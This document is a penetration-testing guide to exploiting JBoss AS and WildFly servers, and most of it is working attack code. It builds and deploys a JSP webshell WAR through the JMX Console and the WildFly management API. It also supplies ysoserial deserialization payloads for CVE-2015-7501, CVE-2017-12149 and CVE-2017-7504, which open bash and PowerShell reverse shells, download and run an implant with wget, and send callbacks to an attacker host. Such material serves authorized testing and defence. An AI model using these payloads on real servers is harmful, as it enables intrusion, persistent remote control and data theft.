JBoss AS and WildFly have produced some of the most reliably exploitable pre-authentication remote code execution vulnerabilities in enterprise Java — CVE-2017-12149 and CVE-2015-7501 both score CVSS 9.8 and require no credentials. Unauthenticated JMX Console access and exposed HTTP Invoker endpoints are still found regularly in internal networks. This guide covers the full attack surface: deserialization payload generation with ysoserial, JMX Console WAR deployment, default credential attacks, and WildFly management interface enumeration.
JBoss AS (now renamed WildFly) is a Java EE application server developed by Red Hat. JBoss AS 4.x through 6.x share the legacy architecture that produced the most severe CVEs. WildFly (JBoss AS 7+) rearchitected the management layer but retains some attack surface. JBoss EAP (Enterprise Application Platform) is the supported commercial fork.
The attack surface splits into several distinct areas:
/jmx-console/) — A web-based Java Management Extensions interface. In older JBoss versions it is exposed without authentication and can deploy arbitrary WAR files via the DeploymentFileRepository MBean./web-console/) — A secondary management interface, similarly unauthenticated in default installs of JBoss 4.x./invoker/EJBInvokerServlet, /invoker/JMXInvokerServlet) — Endpoints that accept serialized Java objects over HTTP for remote EJB and JMX invocations. These are the primary deserialization attack vectors./admin-console/, port 9990 on WildFly) — The management UI for WildFly/EAP, protected by credentials that are often left at defaults.jboss-cli.sh tool.| CVE | CVSS | Affected Versions | Vector | Impact |
|---|---|---|---|---|
| CVE-2017-12149 | 9.8 Critical | JBoss AS 5.x, 6.x | HTTP Invoker / JMXInvokerServlet — unauthenticated deserialization | Pre-auth RCE as JBoss process user |
| CVE-2015-7501 | 9.8 Critical | JBoss AS 4.x, 5.x, 6.x; EAP 4.x, 5.x, 6.x | HTTP Invoker deserialization via Apache Commons Collections | Pre-auth RCE; exploited in mass campaigns by ransomware groups |
| CVE-2017-7504 | 9.8 Critical | JBoss AS 4.x | JMXInvokerServlet deserialization — unauthenticated | Pre-auth RCE via ReadOnlyAccessFilter bypass |
| CVE-2013-4810 | 7.5 High | JBoss AS 2.x–4.x | Unauthenticated JMX Console access | Arbitrary WAR deployment without credentials |
| CVE-2010-0738 | 7.5 High | JBoss AS 4.2.x, 4.3.x | JMX Console HEAD/GET method bypass of auth filter | Unauthenticated access to JMX Console |
JBoss and WildFly listen on port 8080 by default (HTTP) and 8443 (HTTPS). The management interface uses port 9990 (WildFly HTTP management) and port 9999 (WildFly native management). Legacy JBoss RMI/JNDI runs on port 1099 and AJP on port 8009.
# Full JBoss/WildFly port sweep
nmap -sV -p 8080,8443,8009,9990,9999,1099,4444,4445 --script=http-headers,http-title 10.10.10.50
# Script scan for JBoss-specific paths
nmap -p 8080 --script http-enum 10.10.10.50
# Banner grab on management ports
nmap -sV -p 9990,9999 --version-intensity 9 10.10.10.50# Check JBoss default landing page
curl -sk http://10.10.10.50:8080/ -I
# Probe JMX Console directly
curl -sk http://10.10.10.50:8080/jmx-console/ -o /dev/null -w "%{http_code}"
# Check Web Console
curl -sk http://10.10.10.50:8080/web-console/ -o /dev/null -w "%{http_code}"
# Probe HTTP Invoker endpoints
curl -sk http://10.10.10.50:8080/invoker/EJBInvokerServlet -o /dev/null -w "%{http_code}"
curl -sk http://10.10.10.50:8080/invoker/JMXInvokerServlet -o /dev/null -w "%{http_code}"
# WildFly management console
curl -sk http://10.10.10.50:9990/console/ -o /dev/null -w "%{http_code}"
# Check for /admin-console/ (JBoss EAP 5.x)
curl -sk http://10.10.10.50:8080/admin-console/ -o /dev/null -w "%{http_code}"A 200 response from /jmx-console/ without an authentication prompt is a critical finding — the instance is immediately exploitable for WAR deployment. A 200 from /invoker/JMXInvokerServlet confirms the deserialization endpoint is reachable.
# JBoss version often in the server header or HTML title
curl -sk http://10.10.10.50:8080/ | grep -i "jboss\|wildfly\|version"
# Check WildFly management API for version
curl -sk http://10.10.10.50:9990/management \
-H "Content-Type: application/json" \
-d '{"operation":"read-attribute","name":"product-version"}' \
-u admin:admin
# jbossas version from error pages
curl -sk http://10.10.10.50:8080/nonexistent-path | grep -i "jboss\|version\|4\.\|5\.\|6\."The JMX Console at /jmx-console/ exposes all MBeans registered in the JVM. In default JBoss AS 4.x and some 5.x installs, this endpoint has no authentication. An attacker with access can invoke the jboss.deployment:type=DeploymentScanner or jboss.system:service=MainDeployer MBeans to deploy a malicious WAR directly from a URL.
# Unauthenticated access check
curl -v http://10.10.10.50:8080/jmx-console/
# If 401 returned, try the HEAD method bypass (CVE-2010-0738)
curl -v -X HEAD http://10.10.10.50:8080/jmx-console/HtmlAdaptor?action=displayMBeans
# Browse the MainDeployer MBean
curl -sk "http://10.10.10.50:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Aservice%3DMainDeployer"The MainDeployer MBean has a deploy() method that accepts a URL. Host a malicious WAR on your attacker machine and invoke deployment:
# Step 1: Create a JSP webshell WAR
mkdir -p /tmp/shell/WEB-INF
cat > /tmp/shell/cmd.jsp <<'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line; while((line=br.readLine())!=null) out.println(line);
}
%>
EOF
cat > /tmp/shell/WEB-INF/web.xml <<'EOF'
<?xml version="1.0"?>
<web-app xmlns="http://java.sun.com/xml/ns/j2ee" version="2.4"></web-app>
EOF
cd /tmp && jar -cvf shell.war -C shell .
# Step 2: Serve it from your attacker box
python3 -m http.server 8000 &
# Step 3: Trigger deployment via JMX Console HtmlAdaptor (unauthenticated)
curl -sk "http://10.10.10.50:8080/jmx-console/HtmlAdaptor" \
--data-urlencode 'action=invokeOpByName' \
--data-urlencode 'name=jboss.system:service=MainDeployer' \
--data-urlencode 'methodName=deploy' \
--data-urlencode 'argType=java.net.URL' \
--data-urlencode 'arg0=http://10.10.10.100:8000/shell.war'
# Step 4: Execute commands via the deployed webshell
curl "http://10.10.10.50:8080/shell/cmd.jsp?cmd=id"
curl "http://10.10.10.50:8080/shell/cmd.jsp?cmd=cat+/etc/passwd"server.log. In a pentest, confirm scope authorization before deploying any WAR — the deployment persists until explicitly undeployed and leaves artifacts on disk.
The HTTP Invoker is a JBoss remoting mechanism that serializes Java objects over HTTP. Two servlets expose this functionality:
/invoker/EJBInvokerServlet — Handles EJB remote invocations. Accepts serialized MarshalledInvocation objects./invoker/JMXInvokerServlet — Handles JMX remote invocations. The primary deserialization attack vector.Both endpoints deserialize POST body content without authentication in vulnerable versions. When Apache Commons Collections (any version from 1.x to 3.2.1 before the patch) is on the classpath — and it almost always is in JBoss deployments — an attacker can send a crafted serialized payload that executes arbitrary commands during deserialization.
# Test EJBInvokerServlet (should return 200 and application/octet-stream or similar)
curl -v -X POST http://10.10.10.50:8080/invoker/EJBInvokerServlet \
-H "Content-Type: application/octet-stream" \
--data-binary $'\xac\xed'
# Test JMXInvokerServlet
curl -v -X POST http://10.10.10.50:8080/invoker/JMXInvokerServlet \
-H "Content-Type: application/octet-stream" \
--data-binary $'\xac\xed'
# The magic bytes \xac\xed are the Java serialization stream header.
# A 200 or 500 response (not 404) confirms the endpoint deserializes the input.
# Also check /invoker/ path listing
curl -sk http://10.10.10.50:8080/invoker/CVE-2015-7501 is the seminal JBoss deserialization vulnerability, disclosed alongside the broader Apache Commons Collections deserialization research. It affects the ReadOnlyAccessFilter in the HTTP Invoker — despite the filter name implying read-only access, it deserializes input before checking permissions, triggering payload execution unconditionally.
This CVE was mass-exploited in 2016 by the SamSam ransomware group and later by multiple cryptomining botnets. It remains one of the most commonly found unpatched vulnerabilities in internal network penetration tests targeting Java application servers deployed before 2017.
Affected versions: JBoss AS 4.x, 5.x, 6.x; JBoss EAP 4.x, 5.x, 6.x (prior to 6.4.4); JBoss SOA Platform; JBoss Portal.
# Generate payload using CommonsCollections1 gadget chain
java -jar ysoserial.jar CommonsCollections1 'curl http://10.10.10.100:4444/$(id)' > /tmp/payload_cc1.ser
# Send to JMXInvokerServlet
curl -v http://10.10.10.50:8080/invoker/JMXInvokerServlet \
-H "Content-Type: application/octet-stream" \
--data-binary @/tmp/payload_cc1.ser
# Reverse shell payload
java -jar ysoserial.jar CommonsCollections1 \
'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMDAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}' \
> /tmp/revshell.ser
# Start listener
nc -lvnp 4444 &
# Fire the payload
curl -s http://10.10.10.50:8080/invoker/JMXInvokerServlet \
-H "Content-Type: application/octet-stream" \
--data-binary @/tmp/revshell.serCVE-2017-12149 is a deserialization vulnerability in JBoss AS 5.x and 6.x that specifically targets the doFilter method in ReadOnlyAccessFilter. The filter attempts to restrict access to the HTTP Invoker servlet to read-only operations, but the deserialization occurs before the access check is enforced, allowing an unauthenticated attacker to achieve RCE.
The CVSS 9.8 score reflects: no authentication required, network-accessible, no user interaction needed, and full system compromise potential (the JBoss process often runs as root or a privileged service account).
# CVE-2017-12149 — target JBoss AS 5.x/6.x JMXInvokerServlet
# Try multiple Commons Collections gadget chain versions
for gadget in CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections6; do
echo "[*] Trying gadget: $gadget"
java -jar ysoserial.jar $gadget 'id > /tmp/pwned.txt' > /tmp/payload_${gadget}.ser
curl -s -o /dev/null -w "%{http_code}" \
http://10.10.10.50:8080/invoker/JMXInvokerServlet \
-H "Content-Type: application/octet-stream" \
--data-binary @/tmp/payload_${gadget}.ser
echo " <- $gadget"
done
# Verify execution via OOB DNS/HTTP callback
java -jar ysoserial.jar CommonsCollections1 \
'curl http://callback.attacker.com/?cvss=9.8&host=$(hostname)' \
> /tmp/oob_payload.ser
curl -s http://10.10.10.50:8080/invoker/JMXInvokerServlet \
-H "Content-Type: application/octet-stream" \
--data-binary @/tmp/oob_payload.serCVE-2017-7504 affects JBoss AS 4.x specifically. Unlike CVE-2017-12149 which bypasses the ReadOnlyAccessFilter, this vulnerability exists because JBoss AS 4.x has no filter at all on /invoker/JMXInvokerServlet — it is completely unauthenticated and deserializes any POST body directly.
# CVE-2017-7504 — JBoss AS 4.x, no filter at all
# CommonsCollections gadget works directly against 4.x
java -jar ysoserial.jar CommonsCollections6 \
'wget http://10.10.10.100:8000/implant.sh -O /tmp/i.sh && bash /tmp/i.sh' \
> /tmp/cve_2017_7504.ser
curl -v http://10.10.10.50:8080/invoker/JMXInvokerServlet \
-H "Content-Type: application/octet-stream" \
--data-binary @/tmp/cve_2017_7504.ser
# Also test EJBInvokerServlet on 4.x — equally vulnerable
java -jar ysoserial.jar CommonsCollections6 'id' > /tmp/ejb_payload.ser
curl -v http://10.10.10.50:8080/invoker/EJBInvokerServlet \
-H "Content-Type: application/octet-stream" \
--data-binary @/tmp/ejb_payload.serysoserial is the standard tool for generating Java deserialization exploit payloads. It contains pre-built gadget chains for common libraries found in Java EE environments. JBoss environments typically ship Apache Commons Collections, making CommonsCollections1 through CommonsCollections7 the primary chains to try.
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar -O ysoserial.jar
# List all available gadget chains
java -jar ysoserial.jar
# JBoss-relevant chains (in order of likelihood to work):
# CommonsCollections1 — CC 3.1, Java <= 1.7
# CommonsCollections6 — CC 3.1/4.0, works on Java 8+ (no annotations dependency)
# CommonsCollections2 — CC 4.0, uses PriorityQueue
# CommonsCollections5 — CC 3.1, Java 8, uses BadAttributeValueExpException
# Spring1 — Spring Core + Commons Collections
# Groovy1 — Groovy < 2.4.x on classpath
# Determine Commons Collections version on target (check WAR/EAR manifests)
# If you have shell: find / -name "commons-collections*.jar" 2>/dev/null
# Generate a Windows reverse shell payload (JBoss on Windows)
java -jar ysoserial.jar CommonsCollections6 \
'cmd.exe /c powershell -nop -w hidden -e JABj...' \
> /tmp/win_payload.ser
# Generate Linux reverse shell with bash -i redirect
LHOST=10.10.10.100
LPORT=4444
CMD="bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1"
ENCODED=$(echo "$CMD" | base64 -w 0)
java -jar ysoserial.jar CommonsCollections6 \
"bash -c {echo,${ENCODED}}|{base64,-d}|{bash,-i}" \
> /tmp/revshell.ser
# Multi-chain spray script
for gadget in CommonsCollections1 CommonsCollections2 CommonsCollections5 CommonsCollections6 Spring1 Groovy1; do
java -jar ysoserial.jar $gadget "curl http://10.10.10.100/?g=${gadget}&h=\$(hostname)" \
> /tmp/spray_${gadget}.ser 2>/dev/null
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST http://10.10.10.50:8080/invoker/JMXInvokerServlet \
-H "Content-Type: application/octet-stream" \
--data-binary @/tmp/spray_${gadget}.ser)
echo "[$code] $gadget"
doneSpring1, Spring2), Groovy (Groovy1), Apache BeanUtils (BeanShell1), or JDK-only chains (JRMPClient, JRMPListener). In JBoss EAP 6.x with JDK 8, CommonsCollections6 works reliably without the type annotation dependency.
Beyond deserialization, a second path to RCE is deploying a malicious WAR file directly. This works when the JMX Console is unauthenticated, when default admin credentials succeed, or when you have captured valid credentials.
# WildFly HTTP Management API (port 9990) — deploy WAR with credentials
# Step 1: Add the deployment
curl -sk -u admin:admin \
-F "file=@/tmp/shell.war" \
"http://10.10.10.50:9990/management/add-content" | python3 -m json.tool
# Step 2: Note the returned hash, then deploy
curl -sk -u admin:admin \
-H "Content-Type: application/json" \
-d '{
"operation": "composite",
"address": [],
"steps": [
{"operation":"add","address":[{"deployment":"shell.war"}],"content":[{"hash":{"BYTES_VALUE":"HASH_FROM_STEP1=="}}]},
{"operation":"deploy","address":[{"deployment":"shell.war"}]}
]
}' \
"http://10.10.10.50:9990/management"
# Step 3: Verify deployment
curl -sk "http://10.10.10.50:8080/shell/cmd.jsp?cmd=id"